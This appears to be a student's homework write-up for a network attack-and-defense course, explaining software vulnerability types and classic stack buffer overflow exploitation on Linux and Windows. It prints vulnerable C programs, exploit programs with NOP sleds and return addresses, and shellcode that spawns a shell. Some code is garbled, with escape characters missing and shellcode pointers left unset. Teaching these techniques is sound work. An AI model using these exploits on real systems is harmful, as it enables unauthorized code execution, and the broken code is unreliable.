《网络攻防实践》第10周作业
总体结构
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723 |
我在这个课程的目标是 | 学习网络攻防知识,增强动手实践能力。 |
这个作业在哪个具体方面帮助我实现目标 | 学习Linux网络防御知识。 |
作业正文 | 见下 |
参考文献 | [1].网络攻防实践-诸葛建伟 [2].http://m.elecfans.com/article/580615.html |
1.实践内容
1.1 软件安全概述
1.1.1软件安全概述
攻击者能够轻易地对系统和网络实施攻击,很大程度上是因为安全漏洞在软件中的大规模存在。攻击者可以利用这些漏洞来违背系统和网络的安全属性。大多数成功攻击都是利用和破解已公布但未被修改的软件安全漏洞或不安全的软件配置。
1.1.2软件安全困境
- 复杂性:软件规模越来越大,越来越复杂,也就意味着软件的bug会越来越多。
- 可扩展性:现代可扩展软件本身的特征使得安全保证更加困难。首先很难阻止攻击者和恶意代码以不可预测的扩展方式来入侵软件和系统,因此设计软件的可扩展机制时必须考虑安全特性。其次,分析可扩展性软件的的安全要比分析一个完全不能更改的软件要困难得多。
- 连通性:高度的连通性使得软件缺陷影响力被放大;网络的连通性使得不需要人为干涉的自动化攻击成为可能。
1.1.3软件安全漏洞类型
内存安全未违规类别:内存安全违规类漏洞主要出现在CC++等编程语言所编写的软件之中,由于这类语言支持任意内存的分配和归还、任意指针计算、转换等操作,而这类操作通常都没有确保内存安全。不安全指针是指在计算机设计中没有指向适当类型对象的非法指针。
输入验证类:输入验证类是软件程序在对用户进行数据验证存在的错误,主要包含XSS攻击(将代码注入到用户浏览的网页上,这种代码包括HTML和JavaScript)、CSRF攻击(攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作)、SQL注入攻击(拼接非法SQL语句)、DDOS攻击。
竞争条件类:是指处理进程的输出或者结果无法预测,并依赖于其他进行进程实践发生的次序或实践时,所导致的错误。
权限混淆与提升类:是指计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或付玉第三方不该给予的权限。权限混淆与提升类漏洞的具体技术形式主要有Web应用程序中的跨站请求伪造、Clickjacking、FTP反弹攻击(绕过FTP服务器的权限限制。直接让FTP服务器作为中间代理,使用PORT命令向其他主机的端口请求访问,从而能够用于隐蔽的端口扫描)、权限提升、“越狱”(类UNIX系统中破解chroot和jail机制,从而访问系统管理员通过Chroot设置限制目录外的文件系统内容的一种技术)等。
1.2 Linux栈溢出与Shellcode
三个模式:
- NSR模式:最经典的方法,漏洞程序有足够大的缓冲区。
- RNS模式:能够适合小缓冲区情况,更容易计算返回地址。
- RS模式:精确计算shellcode地址, 不需要任何NOP,但对远程缓冲区溢出攻击不适用。
1.2.1 NSR模式
适用范围:被溢出的缓冲区变量比较大,足以容纳Shellcode。从低地址到高地址的构造一堆Nop指令之后填充shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
实例分析
下面的代码是具有栈溢出漏洞的程序,我们将采用NSR模式进行攻击分析。在进行strcpy字符串拷贝函数的时候并没有进行长度的校验,很容易造成栈溢出。
#include <stdio.h>
int main(int argc,char **argv){
char buf[500];
strcpy(buf,argv[1]);
printf("buf's 0x%8x
",&buf);
getchar();
return 0;
}
攻击代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"x31xc0" /* xor %eax, %eax */
"x50" /* push %eax */
"x68x2fx2fx73x68" /* push $0x68732f2f */
"x68x2fx62x69x6e" /* push $0x6e69622f */
"x89xe3" /* mov %esp,%ebx */
"x50" /* push %eax */
"x53" /* push %ebx */
"x89xe1" /* mov %esp,%ecx */
"x31xd2" /* xor %edx,%edx */
"xb0x0b" /* mov $0xb,%al */
"xcdx80"; /* int $0x80 */
#define BSIZE 1056
#define RET 0xbfffdaf0
int main(int argc,char **argv)
{
int bsize=BSIZE;
unsigned long retaddr=RET;
int nopNum = bsize-strlen(shellcode)-100;
if(argc>1) bsize=atoi(argv[1]);
if(argc>2) retaddr=atoi(argv[2]);
if(argc>3) nopNum=atoi(argv[3]);
char* buffer=(char *)malloc(sizeof(char)*bsize);
int i;
for(i=0;i<bsize;i+=4)
*(long *)&buffer[i]=retaddr;
for(i=0;i<nopNum;i++)
*(long*)&buffer[i]=0x90;
memcpy(buffer+i,shellcode,strlen(shellcode));
execl("chat","chat",buffer,NULL);
return 0;
}
将攻击缓冲区作为漏洞程序输入,复制至其局部变量buf时,将溢出并改写main函数的返回地址,从而使程序执行流程跳转至Nop指令所填充出来的“着陆区”中无论跳转到那个nop指令程序都会继续执行,并最终运行shellcode。
1.2.2RNS模式
适用范围:被溢出的变量比较小,不足于容纳Shellcode的情况。填充方式是从低地址到高地址首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。
实例分析
下面的代码同样是具有缓冲区溢出漏洞的代码,与NSR模式唯一不同点在于缓冲区的长度很小。
#include <stdio.h>
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x
",&buf);
getchar();
return 0;
}
攻击代码:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char *shellcode;
int main(int argc,char **argv){
char buf[500];
unsigned long ret,p;
int i;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf));
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode));
execl("chat","chat",buf,NULL);
return 0;
}
其全部填入了NOP后将紧随其后的RET填写成了我们需要的shellcode的地址,这样在程序返回的时候EIP将会装载RET的值并执行,进而跳转到我们实现准备好的shellcode进行执行。
1.2.3 RS模式
适用范围:精确地定位出shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建着陆区。将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:ret=0xc0000000−sizeof(void∗)−sizeof(filename)−sizeof(shellcode)ret=0xc0000000−sizeof(void∗)−sizeof(filename)−sizeof(shellcode)
。
实例分析:
#include <stdio.h>
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x
",&buf);
getchar();
return 0;
}
攻击代码:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char *shellcode;
int main(int argc,char **argv){
char buf[32];
char *p[]={"chat",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL};
unsigned long ret;
ret=0xc0000000-strlen(shellcode)-strlen("chat")-sizeof(void *);
memset(buf,0x41,sizeof(buf));
memcpy(&buf[28],&ret,4);
printf("ret is at 0x%8x
",ret);
execve("chat", "chat", buf, env);
return 0;
}
这个程序首先就是计算返回地址,然后用'A'(0x41)进行填充,这里只是为了让他溢出,然后引入shellcode的返回地址,让漏洞程序跳转到shellcode进行执行。
1.4 Windows栈溢出与Shellcode
需要考虑的问题:对废弃栈的处理导致NSR模式不适用于Win32,Linux对废弃栈不进行任何处理,而Windows会写入一些随机的数据。
进程内存空间的分布导致RNS模式不适用于Win32,Linux栈在3G(0xC0000000)附近,R地址中没有空字节,Windows栈在0x00FFFFFF以下的用户空间,R地址中有空字节。
shellcode实现机制不同,Linux通过中断进行系统调用,而Windows通过调用系统DLL提供的接口函数。
解决方案
通过Jmp/Call ESP指令跳转,跳转指令一般在进程内存空间中1G至2G区间中装载的系统核心 DLL(如Kernel32.dll、User32.dll等)、Windows代码页中的地址、应用程序加载的用户DLL、OllyUni插件提供Overflow Return Address功能。
Shellcode实例
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
void main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
MYPROC2 ProcAdd2;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
char sysbuf2[5] = "exit";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC)GetProcAddress(
LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
ProcAdd2 = (MYPROC2) GetProcAddress(
LibHandle, sysbuf2);
(ProcAdd2)(0);
}
首先使用LoadLibrary()加载msvcrt.dll动态链接库,并且通过GetProcAddress()函数获取system()函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system函数,启动命令行shell。
汇编代码及主要的解释来源解建国博客。
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm{
mov esp,ebp //把esp的内容赋值为ebp
push ebp //保存ebp,esp-4
mov ebp,esp //给ebp赋新值,作为局部变量的基指针
xor edi,edi //
push edi //压入0,esp-4
sub esp,08h //一共12个字符,用来放command.com
mov byte ptr [ebp-0ch],63h
mov byte ptr [ebp-0bh],6fh
mov byte ptr [ebp-0ah],6dh
mov byte ptr [ebp-09h],6Dh
mov byte ptr [ebp-08h],61h
mov byte ptr [ebp-07h],6eh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6fh
mov byte ptr [ebp-02h],6dh //生成command.com
lea eax,[ebp-0ch]
push eax //串地址作为参数入栈
mov eax, 0x77bf8044 //API入口地址,根据调试获取
call eax //调用system
}
}
3.学习中遇到的问题及解决
- 问题1:对攻击程序无法理解
- 问题1解决方案:查阅博客
4.实践总结
知识不够。